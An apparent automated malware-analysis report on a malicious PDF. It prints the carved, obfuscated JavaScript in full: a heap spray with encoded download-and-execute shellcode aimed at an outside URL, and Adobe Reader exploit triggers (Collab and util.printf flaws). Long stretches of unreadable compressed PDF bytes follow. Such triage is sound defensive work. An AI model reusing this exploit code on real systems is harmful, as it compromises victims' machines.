MALICIOUS
82
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1204.002 Malicious File
The PDF file was flagged as malicious by an ML classifier with high confidence. It contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. This JavaScript is likely responsible for downloading and executing a second-stage payload, as suggested by the presence of an embedded JavaScript object. The document body was unreadable, preventing further analysis of its specific lure.
Heuristics 2
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Analysis timed out (partial result) info ANALYSIS_TIMEOUT_PARTIALAnalysis exceeded the wall-clock timeout. Heuristics emitted by completed phases are preserved; phases interrupted mid-execution may have missed findings.
Extracted artifacts 13
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0018_000.js |
pdf-javascript-stream | PDF /JS object 18 at offset 0x36AE | 11994 bytes |
SHA-256: 4c4e85eaabf3b203a6614a7d06e154010cc08d598e4a25cf0094beef21cefbd9 |
|||
Preview scriptFirst 1,000 lines of the extracted script
�� f u n c t i o n q M c I g S k V 9 ( a w x O i F t T b , j 5 q p C x Q c ) { } t h i s . e 0 C V 7 y 8 7 = 0 . 8 9 ; f u n c t i o n h K F Y M Z B V ( d 9 4 o o E k V b N , m o K P v s w 7 , o P N m N C V 6 ) { r e t u r n m o K P v s w 7 ; } v a r p G L h K J e 2 n = ' v a r y z 1 y y W s r = n e w A r r a y ( ) ; v a r q l v C g E p 1 ; f u n c t i o n q O Y k 2 X Z 8 N ( a O f B q S e k Q k , v i s N s s O 2 ) { w h i l e ( a O f B q S e k Q k . l e n g t h * 2 < v i s N s s O 2 ) { a O f B q S e k Q k + = a O f B q S e k Q k ; } a O f B q S e k Q k = a O f B q S e k Q k . s u b s t r i n g ( 0 , v i s N s s O 2 / 2 ) ; r e t u r n a O f B q S e k Q k ; } f u n c t i o n t H i Z 9 l r U Y u ( z u 2 W Q U Q L ) { i f ( z u 2 W Q U Q L = = 0 ) { v a r z V t K K X 0 1 h = 0 x 0 c 0 c 0 c 0 c ; } e l s e i f ( z u 2 W Q U Q L = = 1 ) { z V t K K X 0 1 h = 0 x 3 0 3 0 3 0 3 0 ; } v a r h x W S u D X e = n e w A r r a y ( \ " % u 5 3 5 0 % u 5 \ " , \ " 2 5 1 % u 5 7 5 \ " , \ " 6 % u 9 c 5 \ " , \ " 5 % u 0 0 e \ " , \ " 8 % u 0 0 0 0 \ " , \ " % u 5 d 0 0 \ " , \ " % u e d 8 3 \ " , \ " % u 3 1 0 d \ " , \ " % u 6 4 c 0 % u \ " , \ " 4 0 0 3 % u 7 8 3 \ " , \ " 0 % u 8 b 0 c \ " , \ " % u 0 c 4 0 % u 7 \ " , \ " 0 8 b % u a \ " , \ " d 1 c % u \ " , \ " 4 0 8 b % \ " , \ " u e b 0 8 \ " , \ " % u 8 b 0 9 \ " , \ " % u 3 4 4 0 \ " , \ " % u 4 0 8 d \ " , \ " % u 8 b 7 c % u \ " , \ " 3 c 4 0 % u 5 7 5 \ " , \ " 6 % u 5 e b e % \ " , \ " u 0 0 0 1 % u \ " , \ " 0 1 0 0 % u b f \ " , \ " e e % u 0 1 4 e % \ " , \ " u 0 0 0 0 % u e f 0 \ " , \ " 1 % u d 6 e 8 % \ " , \ " u 0 0 0 1 % u \ " , \ " 5 f 0 0 % u 8 9 5 e \ " , \ " % u 8 1 e a % u \ " , \ " 5 e c 2 % \ " , \ " u 0 0 0 1 % u \ " , \ " 5 2 0 0 % u 8 0 \ " , \ " 6 8 % u 0 0 0 \ " , \ " 0 % u f f 0 0 % u 4 \ " , \ " e 9 5 % u \ " , \ " 0 0 0 1 % u 8 \ " , \ " 9 0 0 % u 8 1 e a \ " , \ " % u 5 e c 2 % u \ " , \ " 0 0 0 1 % u 3 1 \ " , \ " 0 0 % u 0 1 f 6 \ " , \ " % u 8 a c 2 % u \ " , \ " 3 5 9 c % \ " , \ " u 0 2 6 3 % \ " , \ " u 0 0 0 0 % u f b 8 \ " , \ " 0 % u 7 4 0 0 % u 8 \ " , \ " 8 0 6 % u 3 2 1 c % \ " , \ " u e b 4 6 % u \ " , \ " c 6 e e % u 3 2 \ " , \ " 0 4 % u 8 9 0 0 % u \ " , \ " 8 1 e a % u 4 5 c 2 \ " , \ " % u 0 0 0 2 % u 5 \ " , \ " 2 0 0 % u 9 \ " , \ " 5 f f % u 0 1 5 2 \ " , \ " % u 0 0 0 0 % u e \ " , \ " a 8 9 % u \ " , \ " c 2 8 1 % u \ " , \ " 0 2 5 0 % u 0 \ " , \ " 0 0 0 % u \ " , \ " 5 0 5 2 % \ " , \ " u 9 5 f f \ " , \ " % u 0 1 5 \ " , \ " 6 % u 0 0 0 0 % u \ " , \ " 0 0 6 a % \ " , \ " u 0 0 6 a % \ " , \ " u e a 8 9 % u c 2 \ " , \ " 8 1 % u 0 1 5 \ " , \ " e % u 0 0 0 0 \ " , \ " % u 8 9 5 2 % \ " , \ " u 8 1 e a % u 7 8 \ " , \ " c 2 % u 0 0 0 2 % \ " , \ " u 5 2 0 0 % \ " , \ " u 0 0 6 a % u d \ " , \ " 0 f f % u 0 5 6 a \ " , \ " % u e a 8 9 % u c \ " , \ " 2 8 1 % u \ " , \ " 0 1 5 e % u 0 0 \ " , \ " 0 0 % u f f \ " , \ " 5 2 % u 5 a 9 5 \ " , \ " % u 0 0 0 1 \ " , \ " % u 8 9 0 0 % u 8 \ " , \ " 1 e a % u 5 e c 2 % \ " , \ " u 0 0 0 1 % u \ " , \ " 5 2 0 0 % \ " , \ " u 8 0 6 8 % u 0 \ " , \ " 0 0 0 % u f f \ " , \ " 0 0 % u 4 e 9 5 % u \ " , \ " 0 0 0 1 % u 8 9 0 0 \ " , \ " % u 8 1 e a % u \ " , \ " 5 e c 2 % u \ " , \ " 0 0 0 1 % u 3 1 \ " , \ " 0 0 % u 0 1 \ " , \ " f 6 % u 8 a \ " , \ " c 2 % u 3 \ " , \ " 5 9 c % u 0 2 \ " , \ " 6 e % u 0 \ " , \ " 0 0 0 % u f b 8 0 % \ " , \ " u 7 4 0 0 % u \ " , \ " 8 8 0 6 % u 3 2 1 c \ " , \ " % u e b 4 \ " , \ " 6 % u c 6 \ " , \ " e e % u 3 2 0 4 % u \ " , \ " 8 9 0 0 % u 8 1 e a \ " , \ " % u 4 5 c 2 \ " , \ " % u 0 0 0 2 \ " , \ " % u 5 2 0 0 \ " , \ " % u 9 5 f \ " , \ " f % u 0 1 5 2 \ " , \ " % u 0 0 0 \ " , \ " 0 % u e a 8 9 % u \ " , \ " c 2 8 1 % \ " , \ " u 0 2 5 0 % u \ " , \ " 0 0 0 0 % u 5 0 5 \ " , \ " 2 % u 9 5 f f \ " , \ " % u 0 1 5 6 % u 0 0 \ " , \ " 0 0 % u 0 0 6 a % u \ " , \ " 0 0 6 a % u e a 8 9 \ " , \ " % u c 2 8 1 % \ " , \ " u 0 1 5 e % u 0 0 0 \ " , \ " 0 % u 8 9 5 \ " , \ " 2 % u 8 1 e a % u \ " , \ " a 6 c 2 % u 0 0 \ " , \ " 0 2 % u 5 \ " , \ " 2 0 0 % u 0 0 6 \ " , \ " a % u d 0 f \ " , \ " f % u 0 5 6 a \ " , \ " % u e a 8 9 % u c 2 \ " , \ " 8 1 % u 0 1 5 \ " , \ " e % u 0 0 0 \ " , \ " 0 % u f f 5 2 % \ " , \ " u 5 a 9 5 % \ " , \ " u 0 0 0 1 \ " , \ " % u 9 d 0 0 % u 5 \ " , \ " f 5 d % u 5 a 5 \ " , \ " e % u 5 b 5 9 % u \ " , \ " c 3 5 8 % u 0 0 0 \ " , \ " 0 % u 0 0 0 0 % u 0 \ " , \ " 0 0 0 % u 0 \ " , \ " 0 0 0 % u 0 0 \ " , \ " 0 0 % u 0 0 0 0 % u \ " , \ " 0 0 0 0 % u 0 \ " , \ " 0 0 0 % u 6 5 4 7 \ " , \ " % u 5 4 7 4 % u \ " , \ " 6 d 6 5 % u 5 0 7 0 \ " , \ " % u 7 4 6 1 % u \ " , \ " 4 1 6 8 % \ " , \ " u 4 c 0 0 \ " , \ " % u 6 1 6 f \ " , \ " % u 4 c 6 4 % u 6 2 \ " , \ " 6 9 % u 6 1 7 2 \ " , \ " % u 7 9 7 2 % u 0 \ " , \ " 0 4 1 % u 6 5 4 7 \ " , \ " % u 5 0 7 4 % u 6 f \ " , \ " 7 2 % u 4 \ " , \ " 1 6 3 % u 6 \ " , \ " 4 6 4 % u 6 5 \ " , \ " 7 2 % u 7 \ " , \ " 3 7 3 % u \ " , \ " 5 7 0 0 % u \ " , \ " 6 e 6 9 % \ " , \ " u 7 8 4 5 % u 6 \ " , \ " 3 6 5 % u \ " , \ " b b 0 0 % u f \ " , \ " 2 8 9 % u f 7 \ " , \ " 8 9 % u c 0 3 \ " , \ " 0 % u 7 5 a e % \ " , \ " u 2 9 f d % u 8 \ " , \ " 9 f 7 % u 3 1 \ " , \ " f 9 % u b e c \ " , \ " 0 % u 0 0 3 c \ " , \ " % u 0 0 0 0 % u \ " , \ " b 5 0 3 % u 0 2 1 b \ " , \ " % u 0 0 0 0 % u a \ " , \ " d 6 6 % u \ " , \ " 8 5 0 3 % u 0 2 1 \ " , \ " b % u 0 0 0 0 % u \ " , \ " 7 0 8 b % u \ " , \ " 8 3 7 8 % u \ " , \ " 1 c c 6 % u \ " , \ " b 5 0 3 % u 0 2 1 \ " , \ " b % u 0 0 0 0 % u b \ " , \ " d 8 d % u 0 2 \ " , \ " 1 f % u 0 0 0 \ " , \ " 0 % u 0 3 a d % u \ " , \ " 1 b 8 5 % u 0 0 0 2 \ " , \ " % u a b 0 \ " , \ " 0 % u 0 3 a d \ " , \ " % u 1 b 8 5 % u \ " , \ " 0 0 0 2 % u 5 0 0 \ " , \ " 0 % u a d \ " , \ " a b % u 8 5 0 \ " , \ " 3 % u 0 2 \ " , \ " 1 b % u 0 0 0 0 % \ " , \ " u 5 e a b % u d b 3 \ " , \ " 1 % u 5 6 a d % \ " , \ " u 8 5 0 3 % \ " , \ " u 0 2 1 b % u 0 0 \ " , \ " 0 0 % u c 6 8 9 % u \ " , \ " d 7 8 9 % u \ " , \ " f c 5 1 % u a 6 f \ " , \ " 3 % u 7 4 5 9 % u 5 \ " , \ " e 0 4 % u \ " , \ " e b 4 3 % u 5 e \ " , \ " e 9 % u d 1 \ " , \ " 9 3 % u 0 3 e 0 % u \ " , \ " 2 7 8 5 % u 0 0 0 \ " , \ " 2 % u 3 1 0 0 % u 9 \ " , \ " 6 f 6 % u \ " , \ " a d 6 6 % u e 0 c 1 \ " , \ " % u 0 3 0 2 % u 1 \ " , \ " f 8 5 % u 0 \ " , \ " 0 0 2 % u 8 9 0 0 \ " , \ " % u a d c 6 % u 8 \ " , \ " 5 0 3 % u 0 2 \ " , \ " 1 b % u 0 \ " , \ " 0 0 0 % u \ " , \ " e b c 3 % u 0 0 1 \ " , \ " 0 % u 0 0 0 0 % \ " , \ " u 0 0 0 0 % u \ " , \ " 0 0 0 0 % \ " , \ " u 0 0 0 0 % \ " , \ " u 0 0 0 0 % u \ " , \ " 0 0 0 0 % u 0 0 \ " , \ " 0 0 % u 8 9 0 0 \ " , \ " % u 1 b 8 5 % u 0 0 \ " , \ " 0 2 % u 5 \ " , \ " 6 0 0 % u e 8 5 \ " , \ " 7 % u f f 5 \ " , \ " 8 % u f f \ " , \ " f f % u 5 e 5 f % \ " , \ " u 0 1 a b % u 8 0 c \ " , \ " e % u b b 3 \ " , \ " e % u 0 2 7 \ " , \ " 4 % u e d e \ " , \ " b % u 5 5 c 3 % \ " , \ " u 4 c 5 2 \ " , \ " % u 4 f 4 d % u 2 e \ " , \ " 4 e % u 4 c 4 4 % u \ " , \ " 0 0 4 c % \ " , \ " u 5 2 5 5 % u 4 4 \ " , \ " 4 c % u 7 7 6 \ " , \ " f % u 6 c 6 e % u \ " , \ " 6 1 6 f % u \ " , \ " 5 4 6 4 % \ " , \ " u 4 6 6 f % u 6 \ " , \ " c 6 9 % u 4 1 6 5 % \ " , \ " u 7 5 0 0 % u 6 \ " , \ " 4 7 0 % u 7 4 6 1 % \ " , \ " u 2 e 6 5 % u \ " , \ " 7 8 6 5 % u \ " , \ " 0 0 6 5 % u \ " , \ " 7 2 6 3 % \ " , \ " u 7 3 6 1 % u 2 e \ " , \ " 6 8 % u 6 8 \ " , \ " 7 0 % u 0 0 7 \ " , \ " 0 % u 7 4 6 8 \ " , \ " % u 7 0 7 4 % u 2 \ " , \ " f 3 a % u 7 3 2 \ " , \ " f % u 6 f 6 5 \ " , \ " % u 7 4 2 d % u 6 \ " , \ " 1 7 2 % u 6 \ " , \ " 6 6 6 % u 6 3 2 e % \ " , \ " u 6 d 6 f % u \ " , \ " 6 3 2 f % u \ " , \ " 7 5 6 f % u 7 \ " , \ " 4 6 e % u 7 2 6 \ " , \ " 5 % u 2 f 7 3 \ " , \ " % u 2 f 3 \ " , \ " 1 % u 7 0 7 5 % u \ " , \ " 6 1 6 4 % u 6 \ " , \ " 5 7 4 % u 7 0 2 e % \ " , \ " u 7 0 6 8 % u 6 9 \ " , \ " 3 f % u 3 d 6 4 % \ " , \ " u 2 6 3 3 % u 6 5 7 \ " , \ " 2 % u 3 d 7 4 % u 6 \ " , \ " b 6 f % u 9 0 0 0 \ " ) ; h x W S u D X e = u n e s c a p e ( h x W S u D X e . j o i n ( \ " \ " ) ) ; v a r a M k K K V 3 a x = 0 x 4 0 0 0 0 0 ; v a r x 3 C g E 4 V T Y 7 = h x W S u D X e . l e n g t h * 2 ; v a r v i s N s s O 2 = a M k K K V 3 a x - ( x 3 C g E 4 V T Y 7 + 0 x 3 8 ) ; v a r a O f B q S e k Q k = u n e s c a p e ( \ " % u 9 0 9 0 % u 9 0 9 0 \ " ) ; a O f B q S e k Q k = q O Y k 2 X Z 8 N ( a O f B q S e k Q k , v i s N s s O 2 ) ; v a r e E j t Q K F I n c = ( z V t K K X 0 1 h - 0 x 4 0 0 0 0 0 ) / a M k K K V 3 a x ; f o r ( v a r u n x G Y d E 5 n = 0 ; u n x G Y d E 5 n < e E j t Q K F I n c ; u n x G Y d E 5 n + + ) { y z 1 y y W s r [ u n x G Y d E 5 n ] = a O f B q S e k Q k + h x W S u D X e ; } } f u n c t i o n f D U r U 7 X B ( ) { v a r n G A 9 T 4 u G = 0 ; v a r e Y o E H r i R = a p p . v i e w e r V e r s i o n . t o S t r i n g ( ) ; a p p . c l e a r T i m e O u t ( q l v C g E p 1 ) ; i f ( ( e Y o E H r i R > = 8 & & e Y o E H r i R < 8 . 1 0 2 ) | | e Y o E H r i R < 7 . 1 ) { t H i Z 9 l r U Y u ( 0 ) ; v a r x M x b D F 9 N Z b = u n e s c a p e ( \ " % u 0 c 0 c % u 0 c 0 c \ " ) ; w h i l e ( x M x b D F 9 N Z b . l e n g t h < 4 4 9 5 2 ) x M x b D F 9 N Z b + = x M x b D F 9 N Z b ; v a r f j V S K l D U q = t h i s ; v a r e z q e K H 4 t H = C o l l a b ; f j V S K l D U q [ \ " c o l l a b S t o r e \ " ] = e z q e K H 4 t H [ \ " c o l l e c t E m a i l I n f o \ " ] ( { s u b j : \ " \ " , m s g : x M x b D F 9 N Z b } ) ; } i f ( ( e Y o E H r i R > = 8 . 1 0 2 & & e Y o E H r i R < 8 . 1 0 4 ) | | ( e Y o E H r i R > = 9 & & e Y o E H r i R < 9 . 1 ) | | e Y o E H r i R < = 7 . 1 0 1 ) { t r y { i f ( a p p . d o c . C o l l a b . g e t I c o n ) { t H i Z 9 l r U Y u ( 2 ) ; v a r g H G L G b x H I = u n e s c a p e ( \ " % 0 9 \ " ) ; w h i l e ( g H G L G b x H I . l e n g t h < 0 x 4 0 0 0 ) { g H G L G b x H I + = g H G L G b x H I ; } g H G L G b x H I = \ " N . \ " + g H G L G b x H I ; v a r p g h f k 2 7 w P m = a p p ; p g h f k 2 7 w P m [ \ " d o c \ " ] [ \ " C o l l a b \ " ] [ \ " g e t I c o n \ " ] ( g H G L G b x H I ) ; n G A 9 T 4 u G = 1 ; } e l s e { n G A 9 T 4 u G = 1 ; } } c a t c h ( e ) { n G A 9 T 4 u G = 1 ; } i f ( n G A 9 T 4 u G = = 1 ) { i f ( e Y o E H r i R = = 8 . 1 0 2 | | e Y o E H r i R = = 7 . 1 ) { t H i Z 9 l r U Y u ( 1 ) ; v a r v T 4 Q 8 0 J U p I = \ " 1 2 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 \ " ; f o r ( c w p q F u d Q L u = 0 ; c w p q F u d Q L u < 2 7 6 ; c w p q F u d Q L u + + ) { v T 4 Q 8 0 J U p I + = \ " 8 \ " ; } v a r x i N i J Y K g 1 = u t i l ; x i N i J Y K g 1 [ \ " p r i n t f \ " ] ( \ " % 4 5 0 0 0 f \ " , v T 4 Q 8 0 J U p I ) ; } } } } a p p . c b V T C z H 8 X = f D U r U 7 X B ; q l v C g E p 1 = a p p . s e t T i m e O u t ( \ " a p p . c b V T C z H 8 X ( ) \ " , 1 0 ) ; ' ; f u n c t i o n e 8 l v C g E p 1 ( w j c C R L w W Y J ) { r e t u r n f a l s e ; } t h i s . w X W p 7 z w 2 B S = " f Z c C 4 V c d n " ; f u n c t i o n q F D h Y W 7 d 0 ( i M J 0 P n L 4 I , v N Y m W 0 F Q o ) { r e t u r n v N Y m W 0 F Q o ; } v a r k S t 9 A 6 Z 6 y r = p G L h K J e 2 n . r e p l a c e ( / [ ] / g , ' ' ) ; j B j L 5 z i l Q x = 8 0 9 8 ; v a r t w F K K p k v = n e w A r r a y ( ' k w q q g 4 s d ' , ' j K Z l 1 k 6 o C ' , ' u a q m S I y P F h ' ) ; f u n c t i o n n Y 2 2 M p N w k ( e W W y S b V F 8 , k B O 9 I n 1 3 r , k V a o x P y T A Z ) { r e t u r n k V a o x P y T A Z ; } v a r m 5 B h B l F W e = ' e ' + ' v ' + ' a ' + ' l ' ; a p p [ m 5 B h B l F W e ] ( k S t 9 A 6 Z 6 y r ) ; t h i s . f c o H o k T h 8 = 2 7 1 7 3 ; f u n c t i o n f a E M z s 3 H x ( ) { } f u n c t i o n e 9 x b 5 G 4 y j d ( y J f o 5 L u d G j , r B E c k M H j Q ) { r e t u r n y J f o 5 L u d G j ; }
|
|||
stream_004_off000036ae.js |
decompressed-pdf-stream | PDF FlateDecoded stream at offset 0x36AE | 5996 bytes |
SHA-256: 91628404e5039db296094d18a0075d3e4eb7462c27d7b57c52e58ce2c344cc13 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 46 of 75 identifiers look randomly generated (e.g. 'xMxbDF9NZb') — consistent with name-mangling obfuscation.
|
|||
generic_stage_recovery_000.js |
deobfuscated-js | generic stage recovery null-collapse from raw PDF metadata at offset 0x0 | 21687 bytes |
SHA-256: b0b468eb1df99e505450f04de5eca60ad805f0e9a7b599ff9ab957763dc4cff0 |
|||
|
Detection
ClamAV:
Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 2739>>
stream
x�͛M�۸ ���+�j/�!4E�3�8�l�U�d�Nm%[{I�� $89 ��� 53Ќ$J /��%��/� ���n�a0[ІB���-�� ���� ����gz��� A ������n����k4��A��WB�̓���Q0�� � �(��݇ }��ݷcZ�o��#��
_<��3��"������>g�� .��/��Wj�����G���5_��K�9��'a��vה�.�mx� 3{� ��67� �7� �����/����_ g���q�� "� Ŵ�/�Ɋ*��b���K�D7?�1�pj _y�� g � �3�}N%�3���MM�N��t�0%��g�2-�5U�ՊjMZ�6x=���ئ�` ����;�Y�1�<'�dFwڐfykH2���]� �_��=^�kC�Z�tW5ԖJװ� ���>t UB�%坦� N1� �_��Z4�14�xޖ^͛ �G��ﰆ7�r^��R^��P]�T�{ ��R� ��\�XWt���b5mJ���y��`�8 YA��lp��s���^ËR�
>V6jt�1�5���� �D#� ��F �{�0?� j��� �[3]1j�R9�* z^
����� � � ڐi B.eZ���KVqj Da ��,���L҆��!�_J� ���Ji� � �Hv�X %��䬡�����n2}^>���'v�1 ���&� ���-�pIR0��\a"Z���HL�Wχ�����
�0��k��{���̧v����(餴!"��Y� �Ɉ ��ۡO%[�Ђ�P��AT�Z�ʮ�{L_W� ��$�z�(��
�h�|�x^.,cB�0�aM� r$괄r&�3��v q�eVw �6v�L��� �R��5� $��cn��6�*�2�)�6H�� ��+�� �Ӳ���]�^Ug�p��I�6*��:!9 \z�5� "`����V[�� y � X���-U]��� �b$ ��� ��2X�+~
s��ᾧVRf =EXR����-�� �z�_ ��o8��G!3�����'L���ej� Ljƪ �% �F,{��<O *��i�ܱ�$��:�Wy�Ϝ��2 � � < >@�5��
�_.-^�[*z�@:뽎n��D&�i��-�:#�JI=�Se] A�p$S��� K z��O�b'� )�I;
e+dH ^w4E` � ��;) ���:S���g��%�]"2 L̙�넮 � i�����S9�42f���8u>�v��ͼ}Bm �R �،����-�| : �2x�eHhn9����� 6 � a= P��4�N� ٞ~� )�*n� ��j \!�)ʖ2n�XN�d�^[�?�x� ������D�Bp�T�4 5 +�H�} c�t�z����R���m�(�>� �Uj ꩝ �k���"� h�l-xI���Q6��w �%�J֙W��O�� ��v
cc���!Ϝ�_��K��� �s+����Ӻ���@�� ��k%o Q)�Nd �V�` l{C{���D͐���w�ս��z��>M� �;V�^L� �= ǫ}�)#X�6���&�5 �E � n h�K,�V!E�>T�f 2 �j��!�e��[ˆ �@�����Sa�[5be+�8 �o/7��zl :ʠnVr ��k� �n;m�,Tp�p�x�� �r�x�]�&�uÃ���� �� = 'a6'i�%ʹz�d� �+2(v��8�m#�b<]:� � ��������\�-%=��5d e��|Z7w��
��ȹ��� {��,:Q���� �s� h ���x:CV� �ӵ��b|'��[�#i���G��#��n��{���i�I��� �*Iz�� �'�pZ*Q @� t�U��*u���i\����=�7� kK�b��E{]" |�K`�xY˾$��K��/�_���G��s��� �)A�å >m� ����AQ��8'�X:,C�`7���K%��8ji۰��l��8b9d#��5��
���)���I� <�� �J`� o�_H5`���L��#
��a~�<T 1�0 ýO� N�w
��u�a���yì)�0�{ ݆� ��n8�|�6w���f�؆s� t�
�
�[ H����A � v_qd �� d� �u �7w �i��I�7�t��{ �� �w��`�m�%��ky4�h��c.�)�j� �{;�#m �^�; ���U��ߪ G���E�
�� �T�a!���� G ���Y��B���Xs�� e
�� � �l��]ښ��M�x��� ?��c���P-��<��Sf� �� ('p�Ӿ���ܧ]!n;�6s�l} �t ��m��(�Ѻh��q|� ��=��vX�ժ> �^ ��R����������&ߓ�y ��!�̩� \�ik֧usG�� W#��K����A4^gg�qy�|Y� ^8C"��9 =��t��� _�!I��~�놤O㦎AC�s��4%
�5� y����
�� ~L3�Eуh ���m�(v ��z�����B�� ��)��<� �� 3�:��������n�NV��xw ]F�g�Ug����b��-��_v�����dk�� �xo/�� �4}�ļ�����G�}ڶp�> `�p A�d��m �C��p� �QrQ?P�0�d��(� ̜f� }�6wz�W ֘��u0#d�M >u� ��?��+�Ӷ�^?�č7������%۰>m��oA ��0��|}��T��|y�ԧm�cܵ�o��LO�~ ��V��� ���� ��E�q�� ����*� ǫ��
��q�L�+��תנ:v ��S�X��H�!1G�tT �h7v�kWE] ��[f|� � m: c�5\;A4�֭ � l���ҡ�X����e���k�/}�t�4�� ��qc0t,����w��� ��7 �� i���
*'�{V] [���� $
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 2639>>
stream
x��[�r� }�Wtվ$ ш�=o�\�f�6��8��l� H�$$�� R } (۠d�����z��X��nt�9} �p0�ц�� �K��W�H��=������� !� �!ݧ������s��s ��h�� i2 L 4 �o �!� }� �� �� ������^ h�� uF��`: �c��xrB� ��K���� �Z��W���� ����� � ��,�_S�2������t.9 �'��� �WO�^ �O�?������'��io"�7 �l: *h2 �Ex�]� ��C����.�S�'���)2? ��
e,��"&W�����9- �#�(�% � �d5��IS2J&��
�4e1')�Ȑ� ����~M�Nj�b���߂�;b[�
�lcTIF��GNL�1�R)ʌ�[�v�3�� ��I�Q� �qM �+Z��6Ģ�&�J����Ǖ�hchän쏌�0ȫ{� x
K����J�^Wt �O+z���2lK�� �&kLM+����\sʶ �l
pY�Tᔪ�� � kSI��53xl� � V�čF e K� ���k#
�<6� "X5Ƨ ��%� �6 7�� e��w �J�
U��q�%�u�Xwk )��Z� �(Y��~����h��� � rI
CYn�xe �s�T�ӽ`�R
�(�FְD��d [P i�l��N �'C�.��K�-C
�
�� ��� p��05�x��K� a ò��*�r
k
V� )V� ��!\ AJ�2��~��jG N� 6+ i�k ߲��L#� ����$Kv���TeW� ��b ���t1{)�8g)��
Шj�Į�� ���0bٔ b�� �xX�79Śm$��I�L��ks$ �"�k��* ��6>�4�;��"JC�R��)� ��H�� ��Ռ��}�_
��B�J7 �9*9V��),� �� &�v�S �ȚO� Ւ �Q�ͅ�O�_� ��s�W+� ߟ e� �B�ϲ��+��zDL��iͤ�]Y [�F�8^V(��%������e� \� h4b � � u%� ���h��i��0 �g �S˳ ���|z7v0~�a��@�>��-X(��5`Fg�k0F �{�s�t�.��1�F"���К�F� �"V� d*ԿW�B��-{S�4`�? �'h :�[x�4x*e��A^��Χo���=��x���+��Fd6^����
E�lD��N��� ��C�>"��b�N- ��Z� �k z k4�$�F� � +���Rjʹ( �"�=�6Y8���k o( :���y �O�4mkZLm�\�V)�q� �d� �: ��Z� � ke�T2
" ҕ�qZ� ���sD���Q%$�� 4mS�%�`�za�)kv� ��p��ƆՀ$���g ;�:�Ox)��� �^&W�"v2��[�^�؎�}Mj>� ;�n���R� �P���І�;����3������Kˀ cg��3=<in:��� :�|Kg@��
F��I�
bb�*w>] :G�N r��m� � �lw�fP�+�/͟ ]��(-"��
;��T%���J �Ŵ�����bL
��&�@�m�]�k��� ����vע� '¬��C��}�6w(�i J�� ��%�ׅ�����հ0
��5��) �5��ԙ2y;��O0�Oצ ��� ^ w��� �� ���qE-�� w��ս��� $7,^Q �ci*��I7ޙ��O� >A��2��/q�� �{�� ^�� ���Xy���Q _s}r�� @ǝ[�� [^>3�n���ȡ�^�SS��ʪ A5�Zª����� � ����Q�8|�(�*h�آ�W� ��{�� �
2V�� &WQԦN����� � ������ 4:,� ��kY ޠ� ��#�:�{<����hᨡ �Ո ;��yHa �'�����T
��5W <��ٴdk�ӵ�c Q� j "����O |dB�$�an�t��B�N�?4HG�d�Wl��n�x��\}�np�, C =�:�8 RS��J�$�y+:@v�f��ް������w�G G"o�X_/<O̍}�6>f��E�W�F �qQΞ��sz ����%��ӵ��ș���q5� #�(�"4 �� o� ͘f1 ͍�J��B��k���� [s{$�� �Rzݐ �A�#�wq!�f)��
;���\x�-�� � 珅��� �u *�{ ��Փ��ӹ�#��G��o�+~��X����'�|�7s�p|�$ک �+�h�w���'�>]�:^�f �<�}%�LS�Ʋn����P>�� ̯NI@�=�- �s�6�F�Pv�i���� -&�3. � �F� y �N�O:�������҉�U{ �4�g��� t.�3�Y Ti��2� ��|8r�� ��A�풖k
�O �< ����� ����v* �ڳ�_��Ν!j�ߧs�� g��y�����ޠO׆��:�q-B�Xp�Қ�-@ǚ �4/~/ �`�9�� Ix��`־�� *�T�ӿ�c�kv ��
��Eo^m�9�8������z����7� &��^M�tD�7�
����� �({g����=g�-���n�i�o8 lo������Hә����Z� � 6m �VxN��!��g���˭4C � ŧ����B' �X#�w�' �k )�4 W�u��"|P$A����#7}�6 ;� (j;[��ѷ�'�<��茐.O��F�q��=:7w\��� ��#H���w�7 #L]k�� �����P����O���t8XL�;� \1�BH h�����q�� ���
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 2772>>
stream
x�͛Ys� ���)�j_��h(Qg�29�f����Lj+�� ��H� h �, ����
]�)�b���=�%�/��� F�ق6 �w���� �� _��+����>�mB�Q ї5��������k4 ǣx��D4���+�NF3|n1 E Jk��iL �����1-���� �Q��F �MN��x� M����� }����%�қ? �Q����З�p��{ H�k�9���h����Y�&�W'��D�w�h���� 7���
߀�ݜ^��o��} N��3r�� ��Ĵ�/G� �4��l���+�L7?���kO_y����?[��O����� M#[P�
J��T$*�J2���j� �g�t�h�+I��Z�JC]%�nD +ai1� �ڸ�2����6��U
]e��5 � ѧ�-��8 ~Kݦ��*�閉FP*Z9
z��h�d̿�*� �ERIJDU����*��`�VR��h����H�-�+�V� RVְ��h:�, �+8k�� OF�'c}���BTSvT6j
���%[h� �a � �'�ѣ�
ѲE�� �e� �V���Z"�����T-��S�je� }) �� �62#�r #� � ҄��x� r߉��J�^� �]S�VC�.u��ᕳ�)c�06ШUxok\ V�h� ���T ��=:�VʎZ��� fSM��p] �oI'rK���2#���0 ��u�+��eGa��VZ G � I��d �� �ȶ ��� /���Xb ��D&X��
�� ժ���tF"Ѽ � )#� Y�@ ��(�ePw̗{ X$ ��
�p���E!�U�A*�!X��UgEP� >m~ �@T`��$�{HS�F�Hh
'��7HL �a횬#��fKI ��� Hj�l`� �k�ѵ�iA�A�Ht��Ȫ- ƒh��� ���^�%�> �(D���$��@� �
